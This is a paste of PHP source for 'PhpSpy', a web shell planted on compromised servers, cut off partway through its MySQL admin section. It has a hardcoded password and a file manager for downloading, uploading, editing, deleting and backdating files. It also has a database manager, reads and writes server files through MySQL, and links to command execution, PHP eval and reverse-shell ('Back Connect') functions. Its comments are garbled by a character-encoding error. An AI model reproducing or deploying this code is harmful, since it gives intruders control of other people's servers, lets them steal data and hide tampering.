· 8 years ago · Apr 19, 2018, 08:44 PM
1error_reporting(7);
2@set_magic_quotes_runtime(0);
3ob_start();
4$mtime = explode(' ', microtime());
5$starttime = $mtime[1] + $mtime[0];
6define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
7//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
8define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9define('IS_COM', class_exists('COM') ? 1 : 0 );
10define('IS_GPC', get_magic_quotes_gpc());
11$dis_func = get_cfg_var('disable_functions');
12define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
13@set_time_limit(0);
14
15foreach(array('_GET','_POST') as $_request) {
16 foreach($$_request as $_key => $_value) {
17 if ($_key{0} != '_') {
18 if (IS_GPC) {
19 $_value = s_array($_value);
20 }
21 $$_key = $_value;
22 }
23 }
24}
25
26/*===================== ||-Є+ф+| =====================*/
27$admin = array();
28// -|+ё-ш-к|#-ы-щ+д, true +к-ш-к-щ+д, false +к+#+++ +ы.--|ц-б-ю+Є+|-з
29$admin['check'] = 1;
30// +ч| -ш-к|#-ы-щ+д,|ы-|+-||-+|#-ы
31$admin['pass'] = 'damn';
32
33//+ч- |+ cookie +ў+|+|+з+-|+-т-к|є, +Є||-+#++ |г, |ы-|+---|ц#ф-+, +ё+Є|ы#г|+-м+-
34// cookie |#+|
35$admin['cookiepre'] = '';
36// cookie +ў+|+Є
37$admin['cookiedomain'] = '';
38// cookie +ў+|-++|
39$admin['cookiepath'] = '/';
40// cookie +--з|+
41$admin['cookielife'] = 86400;
42/*===================== +ф+|+с- =====================*/
43
44if ($charset == 'utf8') {
45 header("content-Type: text/html; charset=utf-8");
46} elseif ($charset == 'big5') {
47 header("content-Type: text/html; charset=big5");
48} elseif ($charset == 'gbk') {
49 header("content-Type: text/html; charset=gbk");
50} elseif ($charset == 'latin1') {
51 header("content-Type: text/html; charset=iso-8859-2");
52}
53
54$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
55$timestamp = time();
56
57/*===================== +э+|-щ+д =====================*/
58if ($action == "logout") {
59 scookie('phpspypass', '', -86400 * 365);
60 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
61 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
62 exit;
63}
64if($admin['check']) {
65 if ($doing == 'login') {
66 if ($admin['pass'] == $password) {
67 scookie('phpspypass', $password);
68 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
69 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
70 exit;
71 }
72 }
73 if ($_COOKIE['phpspypass']) {
74 if ($_COOKIE['phpspypass'] != $admin['pass']) {
75 loginpage();
76 }
77 } else {
78 loginpage();
79 }
80}
81/*===================== -щ+д+с- =====================*/
82
83$errmsg = '';
84
85// #щ+|PHPINFO
86if ($action == 'phpinfo') {
87 if (IS_PHPINFO) {
88 phpinfo();
89 } else {
90 $errmsg = 'phpinfo() function has non-permissible';
91 }
92}
93
94// --+++-+
95if ($doing == 'downfile' && $thefile) {
96 if (!@file_exists($thefile)) {
97 $errmsg = 'The file you want Downloadable was nonexistent';
98 } else {
99 $fileinfo = pathinfo($thefile);
100 header('Content-type: application/x-'.$fileinfo['extension']);
101 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
102 header('Content-Length: '.filesize($thefile));
103 @readfile($thefile);
104 exit;
105 }
106}
107
108// +#++--++#++|- +|+т
109if ($doing == 'backupmysql' && !$saveasfile) {
110 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
111 $table = array_flip($table);
112 $result = q("SHOW tables");
113 if (!$result) p('<h2>'.mysql_error().'</h2>');
114 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
115 header('Content-type: application/unknown');
116 header('Content-Disposition: attachment; filename='.$filename);
117 $mysqldata = '';
118 while ($currow = mysql_fetch_array($result)) {
119 if (isset($table[$currow[0]])) {
120 $mysqldata .= sqldumptable($currow[0]);
121 }
122 }
123 mysql_close();
124 exit;
125}
126
127// -и| MYSQL--+++-+
128if($doing=='mysqldown'){
129 if (!$dbname) {
130 $errmsg = 'Please input dbname';
131 } else {
132 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
133 if (!file_exists($mysqldlfile)) {
134 $errmsg = 'The file you want Downloadable was nonexistent';
135 } else {
136 $result = q("select load_file('$mysqldlfile');");
137 if(!$result){
138 q("DROP TABLE IF EXISTS tmp_angel;");
139 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
140 //+|-#+ф|-+|#э-+++|-,##|т|Ў-+|-+б+++э+Є# |м__angel_1111111111_eof__|-+-+ -##+-ъ+ |-|щ+Ў
141 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
142 $result = q("select content from tmp_angel");
143 q("DROP TABLE tmp_angel");
144 }
145 $row = @mysql_fetch_array($result);
146 if (!$row) {
147 $errmsg = 'Load file failed '.mysql_error();
148 } else {
149 $fileinfo = pathinfo($mysqldlfile);
150 header('Content-type: application/x-'.$fileinfo['extension']);
151 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
152 header("Accept-Length: ".strlen($row[0]));
153 echo $row[0];
154 exit;
155 }
156 }
157 }
158}
159
160?>
161<html>
162<head>
163<meta http-equiv="Content-Type" content="text/html; charset=gbk">
164<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
165<style type="text/css">
166body,td{font: 12px Arial,Tahoma;line-height: 16px;}
167.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
168.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
169.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
170a {color: #00f;text-decoration:underline;}
171a:hover{color: #f00;text-decoration:none;}
172.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
173.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
174.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
175.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
176.head td span{font-weight:normal;}
177form{margin:0;padding:0;}
178h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
179ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
180u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
181</style>
182<script type="text/javascript">
183function CheckAll(form) {
184 for(var i=0;i<form.elements.length;i++) {
185 var e = form.elements[i];
186 if (e.name != 'chkall')
187 e.checked = form.chkall.checked;
188 }
189}
190function $(id) {
191 return document.getElementById(id);
192}
193function goaction(act){
194 $('goaction').action.value=act;
195 $('goaction').submit();
196}
197</script>
198</head>
199<body style="margin:0;table-layout:fixed; word-break:break-all">
200<table width="100%" border="0" cellpadding="0" cellspacing="0">
201 <tr class="head">
202 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
203 </tr>
204 <tr class="alt1">
205 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
206 <a href="javascript:goaction('logout');">Logout</a> |
207 <a href="javascript:goaction('file');">File Manager</a> |
208 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
209 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
210 <a href="javascript:goaction('shell');">Execute Command</a> |
211 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
212 <a href="javascript:goaction('eval');">Eval PHP Code</a>
213 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
214 </td>
215 </tr>
216</table>
217<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
218<?php
219
220formhead(array('name'=>'goaction'));
221makehide('action');
222formfoot();
223
224$errmsg && m($errmsg);
225
226// +ё+б|#|#-++|
227!$dir && $dir = '.';
228$nowpath = getPath(SA_ROOT, $dir);
229if (substr($dir, -1) != '/') {
230 $dir = $dir.'/';
231}
232$uedir = ue($dir);
233
234if (!$action || $action == 'file') {
235
236 // +-|-|--||щ+Ў
237 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
238
239 // ++| -+-+
240 if ($doing == 'deldir' && $thefile) {
241 if (!file_exists($thefile)) {
242 m($thefile.' directory does not exist');
243 } else {
244 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
245 }
246 }
247
248 // ||+и-+-+
249 elseif ($newdirname) {
250 $mkdirs = $nowpath.$newdirname;
251 if (file_exists($mkdirs)) {
252 m('Directory has already existed');
253 } else {
254 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
255 @chmod($mkdirs,0777);
256 }
257 }
258
259 // +-|л+-+
260 elseif ($doupfile) {
261 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
262 }
263
264 // #р+н+-+
265 elseif ($editfilename && $filecontent) {
266 $fp = @fopen($editfilename,'w');
267 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
268 @fclose($fp);
269 }
270
271 // #р+н+-+ -Ї-+
272 elseif ($pfile && $newperm) {
273 if (!file_exists($pfile)) {
274 m('The original file does not exist');
275 } else {
276 $newperm = base_convert($newperm,8,10);
277 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
278 }
279 }
280
281 // +-|
282 elseif ($oldname && $newfilename) {
283 $nname = $nowpath.$newfilename;
284 if (file_exists($nname) || !file_exists($oldname)) {
285 m($nname.' has already existed or original file does not exist');
286 } else {
287 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
288 }
289 }
290
291 // +|+|+-+
292 elseif ($sname && $tofile) {
293 if (file_exists($tofile) || !file_exists($sname)) {
294 m('The goal file has already existed or original file does not exist');
295 } else {
296 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
297 }
298 }
299
300 // +--б-#+ф
301 elseif ($curfile && $tarfile) {
302 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
303 m('The goal file has already existed or original file does not exist');
304 } else {
305 $time = @filemtime($tarfile);
306 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
307 }
308 }
309
310 // ++|и-х-#+ф
311 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
312 if (!@file_exists($curfile)) {
313 m(basename($curfile).' does not exist');
314 } else {
315 $time = strtotime("$year-$month-$day $hour:$minute:$second");
316 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
317 }
318 }
319
320 // |Є# --++
321 elseif($doing == 'downrar') {
322 if ($dl) {
323 $dfiles='';
324 foreach ($dl as $filepath => $value) {
325 $dfiles.=$filepath.',';
326 }
327 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
328 $dl=explode(',',$dfiles);
329 $zip=new PHPZip($dl);
330 $code=$zip->out;
331 header('Content-type: application/octet-stream');
332 header('Accept-Ranges: bytes');
333 header('Accept-Length: '.strlen($code));
334 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
335 echo $code;
336 exit;
337 } else {
338 m('Please select file(s)');
339 }
340 }
341
342 // + -+++| +-+
343 elseif($doing == 'delfiles') {
344 if ($dl) {
345 $dfiles='';
346 $succ = $fail = 0;
347 foreach ($dl as $filepath => $value) {
348 if (@unlink($filepath)) {
349 $succ++;
350 } else {
351 $fail++;
352 }
353 }
354 m('Deleted file have finishedгмchoose '.count($dl).' success '.$succ.' fail '.$fail);
355 } else {
356 m('Please select file(s)');
357 }
358 }
359
360 //#++ў-ъ#-
361 formhead(array('name'=>'createdir'));
362 makehide('newdirname');
363 makehide('dir',$nowpath);
364 formfoot();
365 formhead(array('name'=>'fileperm'));
366 makehide('newperm');
367 makehide('pfile');
368 makehide('dir',$nowpath);
369 formfoot();
370 formhead(array('name'=>'copyfile'));
371 makehide('sname');
372 makehide('tofile');
373 makehide('dir',$nowpath);
374 formfoot();
375 formhead(array('name'=>'rename'));
376 makehide('oldname');
377 makehide('newfilename');
378 makehide('dir',$nowpath);
379 formfoot();
380 formhead(array('name'=>'fileopform'));
381 makehide('action');
382 makehide('opfile');
383 makehide('dir');
384 formfoot();
385
386 $free = @disk_free_space($nowpath);
387 !$free && $free = 0;
388 $all = @disk_total_space($nowpath);
389 !$all && $all = 0;
390 $used = $all-$free;
391 $used_percent = @round(100/($all/$free),2);
392 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
393
394?>
395<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
396 <form action="" method="post" id="godir" name="godir">
397 <tr>
398 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
399 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
400 <td nowrap><input class="bt" value="GO" type="submit"></td>
401 </tr>
402 </form>
403</table>
404<script type="text/javascript">
405function createdir(){
406 var newdirname;
407 newdirname = prompt('Please input the directory name:', '');
408 if (!newdirname) return;
409 $('createdir').newdirname.value=newdirname;
410 $('createdir').submit();
411}
412function fileperm(pfile){
413 var newperm;
414 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
415 if (!newperm) return;
416 $('fileperm').newperm.value=newperm;
417 $('fileperm').pfile.value=pfile;
418 $('fileperm').submit();
419}
420function copyfile(sname){
421 var tofile;
422 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
423 if (!tofile) return;
424 $('copyfile').tofile.value=tofile;
425 $('copyfile').sname.value=sname;
426 $('copyfile').submit();
427}
428function rename(oldname){
429 var newfilename;
430 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
431 if (!newfilename) return;
432 $('rename').newfilename.value=newfilename;
433 $('rename').oldname.value=oldname;
434 $('rename').submit();
435}
436function dofile(doing,thefile,m){
437 if (m && !confirm(m)) {
438 return;
439 }
440 $('filelist').doing.value=doing;
441 if (thefile){
442 $('filelist').thefile.value=thefile;
443 }
444 $('filelist').submit();
445}
446function createfile(nowpath){
447 var filename;
448 filename = prompt('Please input the file name:', '');
449 if (!filename) return;
450 opfile('editfile',nowpath + filename,nowpath);
451}
452function opfile(action,opfile,dir){
453 $('fileopform').action.value=action;
454 $('fileopform').opfile.value=opfile;
455 $('fileopform').dir.value=dir;
456 $('fileopform').submit();
457}
458function godir(dir,view_writable){
459 if (view_writable) {
460 $('godir').view_writable.value=1;
461 }
462 $('godir').dir.value=dir;
463 $('godir').submit();
464}
465</script>
466 <?php
467 tbhead();
468 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
469 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
470 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
471 if ($view_writable) {
472 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
473 } else {
474 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
475 }
476 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
477 if (IS_WIN && IS_COM) {
478 $obj = new COM('scripting.filesystemobject');
479 if ($obj && is_object($obj)) {
480 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
481 foreach($obj->Drives as $drive) {
482 if ($drive->DriveType == 2) {
483 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
484 } else {
485 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
486 }
487 }
488 }
489 }
490
491 p('</td></tr></form>');
492
493 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
494
495 //#щ+|- +-++-|+-+ |--+-+
496 $dirdata=array();
497 $filedata=array();
498
499 if ($view_writable) {
500 $dirdata = GetList($nowpath);
501 } else {
502 // -+-+--#э
503 $dirs=@opendir($dir);
504 while ($file=@readdir($dirs)) {
505 $filepath=$nowpath.$file;
506 if(@is_dir($filepath)){
507 $dirdb['filename']=$file;
508 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
509 $dirdb['dirchmod']=getChmod($filepath);
510 $dirdb['dirperm']=getPerms($filepath);
511 $dirdb['fileowner']=getUser($filepath);
512 $dirdb['dirlink']=$nowpath;
513 $dirdb['server_link']=$filepath;
514 $dirdb['client_link']=ue($filepath);
515 $dirdata[]=$dirdb;
516 } else {
517 $filedb['filename']=$file;
518 $filedb['size']=sizecount(@filesize($filepath));
519 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
520 $filedb['filechmod']=getChmod($filepath);
521 $filedb['fileperm']=getPerms($filepath);
522 $filedb['fileowner']=getUser($filepath);
523 $filedb['dirlink']=$nowpath;
524 $filedb['server_link']=$filepath;
525 $filedb['client_link']=ue($filepath);
526 $filedata[]=$filedb;
527 }
528 }// while
529 unset($dirdb);
530 unset($filedb);
531 @closedir($dirs);
532 }
533 @sort($dirdata);
534 @sort($filedata);
535 $dir_i = '0';
536 foreach($dirdata as $key => $dirdb){
537 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
538 $thisbg = bg();
539 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
540 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
541 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
542 p('<td nowrap>'.$dirdb['mtime'].'</td>');
543 p('<td nowrap>--</td>');
544 p('<td nowrap>');
545 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
546 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
547 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
548 p('</tr>');
549 $dir_i++;
550 } else {
551 if($dirdb['filename']=='..') {
552 p('<tr class='.bg().'>');
553 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
554 p('</tr>');
555 }
556 }
557 }
558
559 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
560 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
561 makehide('action','file');
562 makehide('thefile');
563 makehide('doing');
564 makehide('dir',$nowpath);
565 $file_i = '0';
566 foreach($filedata as $key => $filedb){
567 if($filedb['filename']!='..' && $filedb['filename']!='.') {
568 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
569 $thisbg = bg();
570 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
571 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
572 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
573 p('<td nowrap>'.$filedb['mtime'].'</td>');
574 p('<td nowrap>'.$filedb['size'].'</td>');
575 p('<td nowrap>');
576 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
577 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
578 p('<td nowrap>');
579 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
580 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
581 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
582 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
583 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
584 p('</td></tr>');
585 $file_i++;
586 }
587 }
588 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
589 p('</form></table>');
590}// end dir
591
592elseif ($action == 'sqlfile') {
593 if($doing=="mysqlupload"){
594 $file = $_FILES['uploadfile'];
595 $filename = $file['tmp_name'];
596 if (file_exists($savepath)) {
597 m('The goal file has already existed');
598 } else {
599 if(!$filename) {
600 m('Please choose a file');
601 } else {
602 $fp=@fopen($filename,'r');
603 $contents=@fread($fp, filesize($filename));
604 @fclose($fp);
605 $contents = bin2hex($contents);
606 if(!$upname) $upname = $file['name'];
607 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
608 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
609 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
610 }
611 }
612 }
613?>
614<script type="text/javascript">
615function mysqlfile(doing){
616 if(!doing) return;
617 $('doing').value=doing;
618 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
619 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
620 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
621 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
622 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
623 $('mysqlfile').charset.value=$('dbinfo').charset.value;
624 $('mysqlfile').submit();
625}
626</script>
627<?php
628 !$dbhost && $dbhost = 'localhost';
629 !$dbuser && $dbuser = 'root';
630 !$dbport && $dbport = '3306';
631 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
632 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
633 makehide('action','sqlfile');
634 p('<p>');
635 p('DBHost:');
636 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
637 p(':');
638 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
639 p('DBUser:');
640 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
641 p('DBPass:');
642 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
643 p('DBName:');
644 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
645 p('DBCharset:');
646 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
647 p('</p>');
648 formfoot();
649 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
650 p('<h2>Upload file</h2>');
651 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
652 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
653 p('<h2>Download file</h2>');
654 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
655 makehide('dbhost');
656 makehide('dbport');
657 makehide('dbuser');
658 makehide('dbpass');
659 makehide('dbname');
660 makehide('charset');
661 makehide('doing');
662 makehide('action','sqlfile');
663 p('</form>');
664}
665
666elseif ($action == 'sqladmin') {
667 !$dbhost && $dbhost = 'localhost';
668 !$dbuser && $dbuser = 'root';
669 !$dbport && $dbport = '3306';
670 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
671 if(isset($dbhost)){
672 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
673 }
674 if(isset($dbuser)) {
675 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
676 }
677 if(isset($dbpass)) {
678 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
679 }
680 if(isset($dbport)) {
681 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
682 }
683 if(isset($dbname)) {
684 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
685 }
686 if(isset($charset)) {
687 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
688 }
689
690 if ($doing == 'backupmysql' && $saveasfile) {
691 if (!$table) {
692 m('Please choose the table');
693 } else {
694 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
695 $table = array_flip($table);
696 $fp = @fopen($path,'w');
697 if ($fp) {
698 $result = q('SHOW tables');
699 if (!$result) p('<h2>'.mysql_error().'</h2>');
700 $mysqldata = '';
701 while ($currow = mysql_fetch_array($result)) {
702 if (isset($table[$currow[0]])) {
703 sqldumptable($currow[0], $fp);
704 }
705 }
706 fclose($fp);
707 $fileurl = str_replace(SA_ROOT,'',$path);
708 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
709 mysql_close();
710 } else {
711 m('Backup failed');
712 }
713 }
714 }
715 if ($insert && $insertsql) {
716 $keystr = $valstr = $tmp = '';
717 foreach($insertsql as $key => $val) {
718 if ($val) {
719 $keystr .= $tmp.$key;
720 $valstr .= $tmp."'".addslashes($val)."'";
721 $tmp = ',';
722 }
723 }
724 if ($keystr && $valstr) {
725 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
726 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
727 }
728 }
729 if ($update && $insertsql && $base64) {
730 $valstr = $tmp = '';
731 foreach($insertsql as $key => $val) {
732 $valstr .= $tmp.$key."='".addslashes($val)."'";
733 $tmp = ',';
734 }
735 if ($valstr) {
736 $where = base64_decode($base64);
737 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
738 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
739 }
740 }
741 if ($doing == 'del' && $base64) {
742 $where = base64_decode($base64);
743 $delete_sql = "DELETE FROM $tablename WHERE $where";
744 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
745 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
746 }
747
748 if ($tablename && $doing == 'drop') {
749 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
750 if (q("DROP TABLE $tablename")) {
751 m('Drop table of success');
752 $tablename = '';
753 } else {
754 m(mysql_error());
755 }
756 }
757
758 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
759
760 formhead(array('title'=>'MYSQL Manager'));
761 makehide('action','sqladmin');
762 p('<p>');
763 p('DBHost:');
764 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
765 p(':');
766 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
767 p('DBUser:');
768 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
769 p('DBPass:');
770 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
771 p('DBCharset:');
772 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
773 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
774 p('</p>');
775 formfoot();
776?>
777<script type="text/javascript">
778function editrecord(action, base64, tablename){
779 if (action == 'del') {
780 if (!confirm('Is or isn\'t deletion record?')) return;
781 }
782 $('recordlist').doing.value=action;
783 $('recordlist').base64.value=base64;
784 $('recordlist').tablename.value=tablename;
785 $('recordlist').submit();
786}
787function moddbname(dbname) {
788 if(!dbname) return;
789 $('setdbname').dbname.value=dbname;
